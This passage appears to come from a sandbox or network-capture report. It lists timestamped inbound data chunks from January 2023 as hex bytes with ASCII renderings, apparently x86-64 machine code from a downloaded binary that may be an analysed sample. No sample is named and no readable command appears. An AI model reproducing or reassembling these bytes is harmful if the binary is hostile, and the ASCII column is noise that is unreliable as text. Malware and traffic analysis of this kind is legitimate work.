5b 44 ec ff 48 8b 5c 24 28 Data Ascii: H$UH$D$D$D$D$D$H$H$wOH$HApAD\|$DD\|$FD\|$VD\|$fD\|$vH$H\$D'OHsHt$0HCwH$CAH$H\$(H.H$C[DH\$(
2023-01-25 20:04:34 UTC	1596	IN	Data Raw: 6f ef f3 45 0f 6f e5 66 45 0f fe ef 66 45 0f 76 e6 f3 0f 6f 37 f3 0f 6f 7f 10 f3 44 0f 6f 47 20 f3 44 0f 6f 4f 30 f3 44 0f 6f 57 40 f3 44 0f 6f 5f 50 48 83 c7 60 66 41 0f db f4 66 41 0f db fc 66 45 0f db c4 66 45 0f db cc 66 45 0f db d4 66 45 0f db dc 66 0f ef c6 66 0f ef cf 66 41 0f ef d0 66 41 0f ef d9 66 41 0f ef e2 66 41 0f ef eb 48 ff c8 75 8d f3 0f 7f 02 f3 0f 7f 4a 10 f3 0f 7f 52 20 f3 0f 7f 5a 30 f3 0f 7f 62 40 f3 0f 7f 6a 50 c3 cc cc 48 8b 44 24 18 48 8b 7c 24 10 48 8b 54 24 08 66 45 0f ef ff 66 45 0f 76 f6 66 45 0f fa fe 66 44 0f 6e f0 66 45 0f 70 f6 00 66 0f ef c0 66 0f ef c9 66 0f ef d2 66 0f ef db 48 c7 c0 10 00 00 00 f3 45 0f 6f ef f3 45 0f 6f e5 66 45 0f fe ef 66 45 0f 76 e6 f3 0f 6f 27 f3 0f 6f 6f 10 f3 0f 6f 77 20 f3 0f 6f 7f 30 f3 44 0f Data Ascii: oEofEfEvo7oDoG DoO0DoW@Do_PH`fAfAfEfEfEfEfffAfAfAfAHuJR Z0b@jPHD$H\|$HT$fEfEvfEfDnfEpffffHEoEofEfEvo'ooow o0D
2023-01-25 20:04:34 UTC	1612	IN	Data Raw: 73 18 4c 8b 43 08 48 8b 4a 10 4c 8b 4a 08 48 39 ce 7c 08 49 89 ca e9 bf 00 00 00 48 89 8c 24 f0 00 00 00 4c 89 8c 24 a0 01 00 00 48 83 f9 01 75 53 48 8d 05 7d 93 2d 00 bb 01 00 00 00 48 89 d9 e8 b0 c3 eb ff 48 8b 94 24 88 03 00 00 48 8b 9c 24 60 01 00 00 48 8b bc 24 68 01 00 00 4c 8b 8c 24 a0 01 00 00 4c 8b 94 24 f0 00 00 00 49 89 c0 b9 01 00 00 00 be 01 00 00 00 48 8b 84 24 08 01 00 00 eb 56 48 8d 51 04 48 89 54 24 68 48 8d 05 21 93 2d 00 48 89 cb 48 89 d1 e8 56 c3 eb ff 48 8b 94 24 88 03 00 00 48 8b 9c 24 60 01 00 00 48 8b bc 24 68 01 00 00 4c 8b 8c 24 a0 01 00 00 4c 8b 94 24 f0 00 00 00 49 89 c0 4c 89 d1 48 8b 74 24 68 48 8b 84 24 08 01 00 00 4c 39 d1 49 89 cb 49 0f 4f ca 4d 39 c8 74 5f 48 89 b4 24 b0 00 00 00 4c 89 9c 24 00 01 00 00 4c 89 84 24 50 01 Data Ascii: sLCHJLJH9\|IH$L$HuSH}-HH$H$`H$hL$L$IH$VHQHT$hH!-HHVH$H$`H$hL$L$ILHt$hH$L9IIOM9t_H$L$L$P
2023-01-25 20:04:34 UTC	1628	IN	Data Raw: 89 24 24 e9 36 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 36 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 4d 8b 66 20 4d 85 e4 75 45 48 89 cf 48 89 d9 48 89 c3 48 8d 05 73 f0 3d 00 e8 8e e6 ff ff 48 8b 6c 24 20 48 83 c4 28 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 50 fe ec ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 90 eb 9e 4c 8d 6c 24 30 4d 39 2c 24 75 b0 49 89 24 24 eb aa cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 36 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 4d 8b 66 20 4d 85 e4 75 45 48 89 cf 48 89 d9 48 89 c3 48 8d 05 b3 be 3d 00 e8 ae de ff ff 48 8b 6c 24 20 48 83 c4 28 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 d0 fd ec ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 90 eb 9e 4c 8d 6c 24 30 4d 39 2c Data Ascii: $$6I;fv6H(Hl$ Hl$ Mf MuEHHHHs=Hl$ H(HD$H\$HL$PHD$H\$HL$Ll$0M9,$uI$$I;fv6H(Hl$ Hl$ Mf MuEHHHH=Hl$ H(HD$H\$HL$HD$H\$HL$Ll$0M9,
2023-01-25 20:04:34 UTC	1644	IN	Data Raw: a1 e8 bf a2 49 01 c7 4c 89 e0 49 01 d7 4c 89 e1 48 c1 c8 0e 4c 89 e2 48 c1 c9 12 48 31 c8 4c 89 e1 48 c1 ca 29 4c 21 e9 48 31 c2 4c 89 e0 48 f7 d0 49 01 d7 4c 21 f0 48 31 c8 4c 01 f8 4c 89 c7 4c 89 d3 48 c1 cf 1c 4c 89 c2 4c 21 cb 48 c1 ca 22 4c 89 c1 4c 21 d1 48 31 d7 48 31 cb 4c 89 c2 4c 89 c9 48 c1 ca 27 4c 21 c1 48 31 cb 48 31 d7 48 01 fb 49 89 df 49 01 c3 49 01 c7 48 8b 85 38 01 00 00 48 89 c1 48 c1 c8 13 48 89 ca 48 c1 c9 3d 48 c1 ea 06 48 8b 9d d0 00 00 00 48 31 c8 48 89 d9 48 31 d0 48 d1 cb 48 89 ca 48 c1 ea 07 48 c1 c9 08 48 03 85 10 01 00 00 48 31 cb 48 31 d3 48 03 9d c8 00 00 00 48 01 d8 48 89 85 48 01 00 00 48 ba 01 30 42 bc 4b 66 1a a8 49 01 c6 4c 89 d8 49 01 d6 4c 89 d9 48 c1 c8 0e 4c 89 da 48 c1 c9 12 48 31 c8 4c 89 d9 48 c1 ca 29 4c 21 e1 Data Ascii: ILILHLHH1LH)L!H1LHIL!H1LLLHLL!H"LL!H1H1LLH'L!H1H1HIIIH8HHHH=HHH1HH1HHHHHH1H1HHHHH0BKfILILHLHH1LH)L!
2023-01-25 20:04:34 UTC	1660	IN	Data Raw: 11 7c 24 60 b9 18 00 00 00 48 8d 5c 24 58 e8 62 04 00 00 66 90 84 c0 0f 84 e7 00 00 00 48 8b 5c 24 58 48 8b 4c 24 60 31 c0 e8 a7 44 eb ff 48 89 44 24 48 48 89 5c 24 30 90 4c 8b 05 bd 89 29 00 48 8b 35 be 89 29 00 48 89 c1 48 89 df 48 8d 05 31 c6 33 00 bb 13 00 00 00 e8 37 fc f2 ff 48 85 ff 0f 85 91 00 00 00 48 89 4c 24 50 48 89 5c 24 40 48 89 44 24 38 48 8d 3d 08 c6 33 00 be 13 00 00 00 e8 ee cd f2 ff 48 8b 54 24 30 48 39 d3 75 5b 48 89 d9 48 8b 5c 24 48 e8 77 6d e6 ff 84 c0 74 4a 48 8b 4c 24 38 48 8b bc 24 88 00 00 00 48 89 0f 48 8b 4c 24 40 48 89 4f 08 83 3d 43 19 62 00 00 75 0b 48 8b 4c 24 50 48 89 4f 10 eb 0e 48 83 c7 10 48 8b 4c 24 50 e8 38 a1 ec ff b8 01 00 00 00 48 8b 6c 24 70 48 83 c4 78 c3 31 c0 48 8b 6c 24 70 48 83 c4 78 c3 31 c0 48 8b 6c 24 70 Data Ascii: \|$`H\$XbfH\$XHL$`1DHD$HH\$0L)H5)HHH137HHL$PH\$@HD$8H=3HT$0H9u[HH\$HwmtJHL$8H$HHL$@HO=CbuHL$PHOHHL$P8Hl$pHx1Hl$pHx1Hl$p
2023-01-25 20:04:34 UTC	1676	IN	Data Raw: 00 00 00 e8 ad 65 ec ff 90 48 89 44 24 08 48 89 5c 24 10 66 90 e8 9b 3e ec ff 48 8b 44 24 08 48 8b 5c 24 10 e9 8c fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 9a 00 00 00 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 89 44 24 60 44 0f 11 7c 24 38 44 0f 11 7c 24 48 48 89 d8 48 8d 5c 24 38 e8 4a fe ff ff 48 89 44 24 58 48 89 5c 24 10 44 0f 11 7c 24 18 44 0f 11 7c 24 28 48 8b 44 24 60 48 8d 5c 24 18 e8 25 fe ff ff 48 8b 4c 24 10 48 39 cb 75 0b 48 8b 54 24 58 31 db 31 f6 eb 23 31 c0 48 8b 6c 24 68 48 83 c4 70 c3 48 8d 7b 01 44 0f b6 04 1a 44 0f b6 0c 18 45 31 c8 44 09 c6 48 89 fb 48 39 d9 7f e4 90 40 0f b6 c6 ff c8 c1 e8 1f eb ce 48 89 44 24 08 48 89 5c 24 10 e8 cd 3d ec ff 48 8b 44 24 08 48 8b 5c 24 10 0f 1f 00 e9 3b ff ff ff cc cc cc cc cc Data Ascii: eHD$H\$f>HD$H\$I;fHpHl$hHl$hHD$`D\|$8D\|$HHH\$8JHD$XH\$D\|$D\|$(HD$`H\$%HL$H9uHT$X11#1Hl$hHpH{DDE1DHH9@HD$H\$=HD$H\$;
2023-01-25 20:04:34 UTC	1692	IN	Data Raw: 8b 94 24 88 00 00 00 48 29 c2 48 8d 04 1a 48 89 c2 48 c1 f8 15 48 89 c3 48 c1 e0 15 48 29 c2 48 c1 f9 13 48 89 d0 48 c1 e2 02 48 09 ca 41 88 50 1a 48 89 c1 48 c1 f8 06 41 88 40 1b 49 c1 e5 15 48 8b 84 24 80 00 00 00 4c 29 e8 48 01 d8 48 c1 f9 0e 48 89 c2 48 c1 e0 07 48 09 c1 41 88 48 1c 48 89 d0 48 d1 fa 41 88 50 1d 48 89 c1 48 c1 f8 09 41 88 40 1e 48 c1 f9 11 41 88 48 1f 48 8b ac 24 c8 00 00 00 48 81 c4 d0 00 00 00 c3 48 89 44 24 08 48 89 5c 24 10 e8 19 fe eb ff 48 8b 44 24 08 48 8b 5c 24 10 e9 6a f2 ff ff cc cc cc cc cc cc cc cc cc cc 4c 8d a4 24 40 ff ff ff 4d 3b 66 10 0f 86 6d 02 00 00 48 81 ec 40 01 00 00 48 89 ac 24 38 01 00 00 48 8d ac 24 38 01 00 00 48 8d bc 24 48 01 00 00 66 0f 1f 84 00 00 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 Data Ascii: $H)HHHHHH)HHHHAPHHA@IH$L)HHHHHAHHHAPHHA@HAHH$HHD$H\$HD$H\$jL$@M;fmH@H$8H$8H$HffDHl$Hl$
2023-01-25 20:04:35 UTC	1708	IN	Data Raw: 05 f9 61 61 00 48 89 81 30 01 00 00 48 8d 05 ec 61 61 00 48 89 81 50 01 00 00 48 8d 05 df 61 61 00 48 89 81 70 01 00 00 48 8d 05 d2 61 61 00 48 89 81 90 01 00 00 48 8d 05 c5 61 61 00 48 89 81 b0 01 00 00 48 8d 05 b8 61 61 00 48 89 81 d0 01 00 00 48 8d 05 ab 61 61 00 48 89 81 f0 01 00 00 48 8d 05 9e 61 61 00 48 89 81 10 02 00 00 48 8d 05 91 61 61 00 48 89 81 30 02 00 00 48 8d 05 84 61 61 00 48 89 81 50 02 00 00 48 8d 05 77 61 61 00 48 89 81 70 02 00 00 48 8d 05 6a 61 61 00 48 89 81 90 02 00 00 48 8d 05 5d 61 61 00 48 89 81 b0 02 00 00 48 8d 05 50 61 61 00 48 89 81 d0 02 00 00 48 8d 05 43 61 61 00 48 89 81 f0 02 00 00 48 8d 05 36 61 61 00 48 89 81 10 03 00 00 48 8d 05 29 61 61 00 48 89 81 30 03 00 00 48 8d 05 1c 61 61 00 48 89 81 50 03 00 00 48 8d 05 0f 61 Data Ascii: aaH0HaaHPHaaHpHaaHHaaHHaaHHaaHHaaHHaaH0HaaHPHwaaHpHjaaHH]aaHHPaaHHCaaHH6aaHH)aaH0HaaHPHa
2023-01-25 20:04:35 UTC	1724	IN	Data Raw: 66 0f ef e7 66 44 0f 6f f4 66 41 0f 72 f6 0c 66 0f 72 d4 14 66 41 0f ef e6 66 0f fe cc 66 44 0f ef d1 66 44 0f 38 00 15 c9 55 3c 00 66 41 0f fe fa 66 0f ef e7 66 44 0f 6f f4 66 41 0f 72 f6 07 66 0f 72 d4 19 66 41 0f ef e6 66 0f fe d5 66 44 0f ef da 66 44 0f 38 00 1d 78 55 3c 00 66 45 0f fe c3 66 41 0f ef e8 66 44 0f 6f f5 66 41 0f 72 f6 0c 66 0f 72 d5 14 66 41 0f ef ee 66 0f fe d5 66 44 0f ef da 66 44 0f 38 00 1d 66 55 3c 00 66 45 0f fe c3 66 41 0f ef e8 66 44 0f 6f f5 66 41 0f 72 f6 07 66 0f 72 d5 19 66 41 0f ef ee 66 44 0f 6f 75 40 66 0f 7f 7d 40 4d 0f af c4 4d 01 d7 49 11 d0 66 45 0f fe e5 66 45 0f ef fc 66 44 0f 38 00 3d fe 54 3c 00 66 45 0f fe f7 66 45 0f ef ee 66 41 0f 6f fd 66 0f 72 f7 0c 66 41 0f 72 d5 14 66 44 0f ef ef 66 45 0f fe e5 66 45 0f ef Data Ascii: ffDofArfrfAffDfD8U<fAffDofArfrfAffDfD8xU<fEfAfDofArfrfAffDfD8fU<fEfAfDofArfrfAfDou@f}@MMIfEfEfD8=T<fEfEfAofrfArfDfEfE
2023-01-25 20:04:35 UTC	1740	IN	Data Raw: c4 c1 55 fe e9 c4 c1 4d fe f2 c4 c1 45 fe fb c5 dd ef e0 c5 f5 ef cd c5 ed ef d6 c5 e5 ef df c4 e2 5d 00 25 cd 15 3c 00 c4 e2 75 00 0d c4 15 3c 00 c4 e2 6d 00 15 bb 15 3c 00 c4 e2 65 00 1d b2 15 3c 00 c5 1d fe e4 c5 15 fe e9 c5 3d fe c2 c5 05 fe fb c4 41 0d ef f4 c4 41 35 ef cd c4 41 2d ef d0 c4 41 25 ef df c5 7d 7f bd e0 00 00 00 c4 c1 05 72 f6 07 c4 c1 0d 72 d6 19 c4 41 0d ef f7 c4 c1 05 72 f1 07 c4 c1 35 72 d1 19 c4 41 35 ef cf c4 c1 05 72 f2 07 c4 c1 2d 72 d2 19 c4 41 2d ef d7 c4 c1 05 72 f3 07 c4 c1 25 72 d3 19 c4 41 25 ef df c5 7d 6f bd e0 00 00 00 c4 43 0d 0f f6 0c c4 43 35 0f c9 0c c4 43 2d 0f d2 0c c4 43 25 0f db 0c c4 43 1d 0f e4 08 c4 43 15 0f ed 08 c4 43 3d 0f c0 08 c4 43 05 0f ff 08 c4 e3 5d 0f e4 04 c4 e3 75 0f c9 04 c4 e3 6d 0f d2 04 c4 e3 Data Ascii: UME]%<u<m<e<=AA5A-A%}rrAr5rA5r-rA-r%rA%}oCC5C-C%CCC=C]um
2023-01-25 20:04:35 UTC	1756	IN	Data Raw: f1 0c c4 c1 35 72 d1 14 c5 35 ef cb c4 c1 55 fe e9 c5 f5 ef cd c4 e2 75 00 0d d7 d5 3b 00 c5 15 fe e9 c4 41 35 ef cd c4 c1 65 72 f1 07 c4 c1 35 72 d1 19 c5 35 ef cb c4 c1 4d fe f2 c5 ed ef d6 c4 e2 6d 00 15 8c d5 3b 00 c5 3d fe c2 c4 41 2d ef d0 c4 c1 65 72 f2 0c c4 c1 2d 72 d2 14 c5 2d ef d3 c4 c1 4d fe f2 c5 ed ef d6 c4 e2 6d 00 15 81 d5 3b 00 c5 3d fe c2 c4 41 2d ef d0 c4 c1 65 72 f2 07 c4 c1 2d 72 d2 19 c5 2d ef d3 c4 43 0d 0f f6 0c c4 43 35 0f c9 0c c4 43 2d 0f d2 0c c4 43 1d 0f e4 08 c4 43 15 0f ed 08 c4 43 3d 0f c0 08 c4 e3 5d 0f e4 04 c4 e3 75 0f c9 04 c4 e3 6d 0f d2 04 49 ff c9 0f 85 87 fd ff ff c5 fd 6f 1d c1 d4 3b 00 c5 fd fe c3 c5 d5 fe eb c5 cd fe f3 c5 0d fe f7 c5 35 fe cf c5 2d fe d7 c4 41 1d fe e3 c4 41 15 fe eb c4 41 3d fe c3 c5 fd 6f 1d Data Ascii: 5r5Uu;A5er5r5Mm;=A-er-r-Mm;=A-er-r-CC5C-CCC=]umIo;5-AAA=o
2023-01-25 20:04:35 UTC	1772	IN	Data Raw: 04 4d 89 5c 30 08 49 8d 14 30 83 3d f4 59 60 00 00 75 06 4d 89 2c 30 eb 11 48 89 fe 48 89 d7 4d 89 e8 e8 6e e2 ea ff 48 89 f7 48 8b 54 24 60 49 89 f8 0f 1f 00 e9 eb 00 00 00 48 8b b0 98 00 00 00 4c 8d 7e 01 4c 89 c7 4c 8b 80 90 00 00 00 48 8b 90 a0 00 00 00 4c 39 fa 0f 83 82 00 00 00 4c 89 e0 4c 89 c3 48 89 f1 48 89 d7 4c 89 fe e8 e2 44 e9 ff 48 8b bc 24 b8 00 00 00 48 89 8f a0 00 00 00 83 3d 7c 59 60 00 00 75 09 48 89 87 90 00 00 00 eb 15 48 8d 97 90 00 00 00 48 89 f9 48 89 d7 e8 6f e0 ea ff 48 89 cf 48 8b 4c 24 58 48 8b 7c 24 78 4c 8b 4c 24 48 4c 8b 54 24 70 4c 8b 5c 24 40 4c 8d 25 ec 19 2b 00 4c 8b 6c 24 68 49 89 c0 48 89 de 48 8b 84 24 b8 00 00 00 48 8b 5c 24 50 48 8d 56 01 48 89 90 98 00 00 00 48 c1 e6 04 4d 89 5c 30 08 49 8d 14 30 83 3d 05 59 60 00 Data Ascii: M\0I0=Y`uM,0HHMnHHT$`IHL~LLHL9LLHHLDH$H=\|Y`uHHHHoHHL$XH\|$xLL$HLT$pL\$@L%+Ll$hIHH$H\$PHVHHM\0I0=Y`
2023-01-25 20:04:35 UTC	1788	IN	Data Raw: 81 b0 5a 00 4c 8b 05 82 b0 5a 00 48 89 f0 45 31 d2 48 89 d6 90 eb 25 48 39 d1 0f 86 7f 03 00 00 48 8d 42 01 48 39 c1 0f 86 6d 03 00 00 44 0f b7 14 17 66 41 c1 c2 08 31 c0 45 31 c0 66 45 89 91 02 01 00 00 48 85 c0 0f 85 d6 01 00 00 48 8d 56 04 0f 1f 40 00 48 39 d1 7d 1b 48 8b 15 24 b0 5a 00 4c 8b 05 25 b0 5a 00 48 89 d0 45 31 db 48 89 f2 eb 63 66 90 48 39 f1 0f 86 13 03 00 00 44 0f b6 04 37 48 8d 46 01 48 39 c1 0f 86 fc 02 00 00 41 c1 e0 18 44 0f b6 54 3e 01 41 c1 e2 10 45 09 d0 48 8d 46 02 48 39 c1 0f 86 d9 02 00 00 44 0f b6 54 3e 02 41 c1 e2 08 45 09 c2 48 8d 46 03 48 39 c1 0f 86 ba 02 00 00 44 0f b6 5c 3e 03 45 09 d3 31 c0 45 31 c0 45 89 99 04 01 00 00 48 85 c0 0f 85 d1 00 00 00 48 8d 72 02 48 39 f1 7d 19 48 8b 35 8f af 5a 00 48 8b 3d 90 af 5a 00 48 89 Data Ascii: ZLZHE1H%H9HBH9mDfA1E1fEHHV@H9}H$ZL%ZHE1HcfH9D7HFH9ADT>AEHFH9DT>AEHFH9D\>E1E1EHHrH9}H5ZH=ZH
2023-01-25 20:04:35 UTC	1804	IN	Data Raw: 02 00 00 c3 44 0f 11 bc 24 60 01 00 00 44 0f 11 bc 24 70 01 00 00 44 0f 11 bc 24 80 01 00 00 4c 89 9c 24 60 01 00 00 4c 89 84 24 68 01 00 00 48 8d 0d 01 b4 32 00 48 89 8c 24 70 01 00 00 48 c7 84 24 78 01 00 00 45 00 00 00 48 89 94 24 80 01 00 00 4c 89 a4 24 88 01 00 00 0f 10 84 24 60 01 00 00 0f 11 84 24 20 02 00 00 0f 10 84 24 70 01 00 00 0f 11 84 24 30 02 00 00 0f 10 84 24 80 01 00 00 0f 11 84 24 40 02 00 00 48 8d 05 04 ca 2e 00 48 8d 9c 24 20 02 00 00 e8 57 b7 e4 ff 31 db 31 c9 48 8d 3d 0c 12 3b 00 48 89 c6 48 89 d8 48 8b ac 24 50 02 00 00 48 81 c4 58 02 00 00 c3 48 89 f1 48 89 c8 e9 18 f9 ff ff 44 0f 11 bc 24 a0 00 00 00 44 0f 11 bc 24 b0 00 00 00 44 0f 11 bc 24 c0 00 00 00 4c 89 9c 24 a0 00 00 00 4c 89 84 24 a8 00 00 00 48 8d 0d 1b a5 31 00 48 89 8c Data Ascii: D$`D$pD$L$`L$hH2H$pH$xEH$L$$`$ $p$0$$@H.H$ W11H=;HHH$PHXHHD$D$D$L$L$H1H
2023-01-25 20:04:35 UTC	1820	IN	Data Raw: 0f 85 75 01 00 00 4d 8d 50 08 4d 39 d1 73 42 4c 89 54 24 60 48 8d 05 5a 5c 2a 00 48 89 f3 4c 89 c1 4c 89 cf 4c 89 d6 e8 29 85 e8 ff 48 8b 54 24 68 0f b7 7c 24 46 4c 8b 84 24 c0 00 00 00 4c 8b 54 24 60 48 89 c6 49 89 c9 48 8b 8c 24 80 00 00 00 49 bb 5b 3a 3a 66 66 66 66 3a 4e 89 1c 06 90 48 39 0d ee 19 5a 00 74 11 4c 8b 1d ed 19 5a 00 0f 1f 44 00 00 4c 39 d9 75 03 49 89 cb 31 c0 48 89 d3 4c 89 d9 48 89 f7 4c 89 d6 4d 89 c8 e8 02 d9 ff ff 48 8b 94 24 80 00 00 00 48 85 d2 74 20 4c 8b 42 08 4c 8d 0d 0a 5a 2a 00 4c 39 0a 75 09 49 8b 10 4d 8b 40 08 eb 0c 45 31 c0 31 d2 eb 05 45 31 c0 31 d2 4d 85 c0 0f 84 0d 01 00 00 48 89 54 24 70 4c 89 44 24 48 48 8d 73 01 48 39 f1 73 2d 48 89 5c 24 58 48 89 cf 48 89 d9 48 89 c3 48 8d 05 7f 5b 2a 00 e8 5a 84 e8 ff 48 8d 73 01 Data Ascii: uMPM9sBLT$`HZ\HLLL)HT$h\|$FL$LT$`HIH$I[::ffff:NH9ZtLZDL9uI1HLHLMH$Ht LBLZL9uIM@E11E11MHT$pLD$HHsH9s-H\$XHHHH[*ZHs
2023-01-25 20:04:35 UTC	1836	IN	Data Raw: 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 8b 10 48 8b 4b 08 48 8b 70 08 48 39 13 75 5d 48 89 44 24 28 48 89 5c 24 30 48 89 d0 48 89 f3 e8 c3 bf e3 ff 0f 1f 00 84 c0 74 41 48 8b 54 24 28 48 8b 42 10 48 8b 74 24 30 48 8b 4e 18 48 8b 5a 18 66 0f 1f 44 00 00 48 39 46 10 75 1f e8 75 c0 e3 ff 84 c0 74 16 48 8b 4c 24 28 0f b6 49 20 48 8b 54 24 30 38 4a 20 0f 94 c1 eb 02 31 c9 89 c8 48 8b 6c 24 18 48 83 c4 20 c3 48 89 44 24 08 48 89 5c 24 10 0f 1f 00 e8 1b be e9 ff 48 8b 44 24 08 48 8b 5c 24 10 e9 4c ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 5e 48 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 89 44 24 40 48 83 fb 02 7d 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 89 4c 24 50 48 89 5c 24 48 48 89 44 24 40 e8 23 03 00 00 48 89 c7 48 89 de 49 89 c8 48 8b 44 24 Data Ascii: Hl$Hl$HHKHpH9u]HD$(H\$0HHtAHT$(HBHt$0HNHZfDH9FuutHL$(I HT$08J 1Hl$H HD$H\$HD$H\$LI;fv^H8Hl$0Hl$0HD$@H}Hl$0H8HL$PH\$HHD$@#HHIHD$
2023-01-25 20:04:35 UTC	1852	IN	Data Raw: 48 8b 7c 24 58 4c 8b 44 24 50 48 8b 84 24 b0 00 00 00 0f 1f 00 e9 dd 00 00 00 48 8b 74 24 50 4c 8d 46 01 48 8b 7c 24 58 4c 39 c7 72 0a 48 8b 84 24 b0 00 00 00 eb 3a 48 8d 05 37 fd 2b 00 48 8b 9c 24 b0 00 00 00 48 89 f1 4c 89 c6 e8 04 05 e8 ff 4c 8d 43 01 0f b6 54 24 47 48 8b 74 24 50 4c 8d 0d 27 5c 3a 00 4c 8b 94 24 d0 00 00 00 48 89 cf 48 c1 e6 04 4c 89 0c 30 4c 8d 1c 30 4d 8d 5b 08 83 3d 7d 19 5f 00 00 75 07 4c 89 54 30 08 eb 18 48 89 f9 4c 89 df 4d 89 d1 e8 16 a2 e9 ff 48 89 cf 4c 8d 0d e4 5b 3a 00 4c 8d 0d 05 5c 3a 00 eb 45 4c 8d 0d d4 5b 3a 00 0f b6 54 24 47 4c 8d 0d f0 5b 3a 00 4c 8b 44 24 50 48 8b 7c 24 58 48 8b 84 24 b0 00 00 00 eb 1e 0f b6 54 24 47 4c 8d 0d d0 5b 3a 00 4c 8b 44 24 50 48 8b 7c 24 58 48 8b 84 24 b0 00 00 00 4c 8b 94 24 88 00 00 00 Data Ascii: H\|$XLD$PH$Ht$PLFH\|$XL9rH$:H7+H$HLLCT$GHt$PL'\:L$HHL0L0M[=}_uLT0HLMHL[:L\:EL[:T$GL[:LD$PH\|$XH$T$GL[:LD$PH\|$XH$L$
2023-01-25 20:04:35 UTC	1868	IN	Data Raw: 11 bc 24 98 07 00 00 48 8d bc 24 a0 07 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 0e 68 e9 ff 48 8b 6d 00 48 8b 94 24 10 03 00 00 8b 9c 24 18 03 00 00 48 89 94 24 e0 02 00 00 89 9c 24 e8 02 00 00 48 89 84 24 e0 08 00 00 48 89 8c 24 e8 08 00 00 e8 9a 76 e6 ff 0f b7 84 24 e0 02 00 00 0f b6 9c 24 e2 02 00 00 0f b7 8c 24 e4 02 00 00 0f b6 bc 24 e6 02 00 00 0f b6 b4 24 e7 02 00 00 44 0f b6 84 24 e8 02 00 00 44 0f b6 8c 24 e9 02 00 00 44 0f b7 94 24 ea 02 00 00 48 8b ac 24 80 06 00 00 48 81 c4 88 06 00 00 c3 4c 8b 94 24 88 03 00 00 49 83 c2 10 49 89 c3 4c 89 9c 24 d0 02 00 00 4c 89 94 24 88 03 00 00 49 8b 02 48 89 84 24 68 03 00 00 49 8b 4a 08 48 89 8c 24 c0 02 00 00 e8 8c 12 f0 ff 48 8b bc 24 d8 02 00 00 0f 1f 40 00 e8 bb 09 f0 ff 48 89 df 48 89 Data Ascii: $H$fDHl$Hl$hHmH$$H$$H$H$v$$$$$D$D$D$H$HL$IIL$L$IH$hIJH$H$@HH
2023-01-25 20:04:35 UTC	1884	IN	Data Raw: 24 f0 48 8d 6c 24 f0 e8 18 28 e9 ff 48 8b 6d 00 4c 8b 94 24 88 01 00 00 4c 89 94 24 18 04 00 00 48 8d bc 24 20 04 00 00 48 8d b4 24 90 01 00 00 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 d9 2a e9 ff 48 8b 6d 00 48 89 84 24 60 05 00 00 48 89 9c 24 68 05 00 00 48 89 8c 24 70 05 00 00 48 89 94 24 78 05 00 00 48 8b 84 24 80 01 00 00 48 8d 9c 24 18 04 00 00 e8 98 21 e3 ff 90 48 8d 05 20 99 5e 00 48 c7 c3 ff ff ff ff e8 84 e3 e9 ff 48 8b ac 24 80 05 00 00 48 81 c4 88 05 00 00 c3 66 89 44 24 08 e8 6a fd e8 ff 0f b7 44 24 08 0f 1f 44 00 00 e9 3b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d a4 24 28 fc ff ff 4d 3b 66 10 0f 86 9b 02 00 00 48 81 ec 58 04 00 00 48 89 ac 24 50 04 00 00 48 8d ac 24 50 04 00 00 49 Data Ascii: $Hl$(HmL$L$H$ H$DHl$Hl$*HmH$`H$hH$pH$xH$H$!H ^HH$HfD$jD$D;L$(M;fHXH$PH$PI
2023-01-25 20:04:35 UTC	1900	IN	Data Raw: 44 24 68 89 54 24 44 bb 10 00 00 00 31 c9 48 89 c7 48 8d 74 24 40 31 c0 e8 98 5a f0 ff 48 85 c0 0f 84 01 01 00 00 48 8d 15 88 93 39 00 0f 1f 84 00 00 00 00 00 48 39 d0 0f 85 85 01 00 00 48 89 5c 24 58 48 89 44 24 48 48 83 3b 6f 75 75 8b 74 24 44 0f 1f 00 39 74 24 40 0f 87 76 ff ff ff 48 8d 05 8f 1d 2c 00 e8 ca 62 e3 ff 48 c7 40 08 14 00 00 00 48 8d 0d 4f 13 30 00 48 89 08 48 8b 4c 24 48 48 89 48 10 83 3d 78 59 5e 00 00 75 0b 48 8b 54 24 58 48 89 50 18 eb 0e 48 8d 78 18 48 8b 54 24 58 e8 8d e1 e8 ff 31 db 48 89 d9 48 8d 3d e1 87 39 00 48 89 c6 31 c0 48 8b 6c 24 70 48 83 c4 78 c3 48 8d 05 2b 1d 2c 00 e8 66 62 e3 ff 48 c7 40 08 14 00 00 00 48 8d 0d eb 12 30 00 48 89 08 48 8b 4c 24 48 48 89 48 10 83 3d 14 59 5e 00 00 75 0b 48 8b 54 24 58 48 89 50 18 eb 0e 48 Data Ascii: D$hT$D1HHt$@1ZHH9H9H\$XHD$HH;ouut$D9t$@vH,bH@HO0HHL$HHH=xY^uHT$XHPHxHT$X1HH=9H1Hl$pHxH+,fbH@H0HHL$HHH=Y^uHT$XHPH
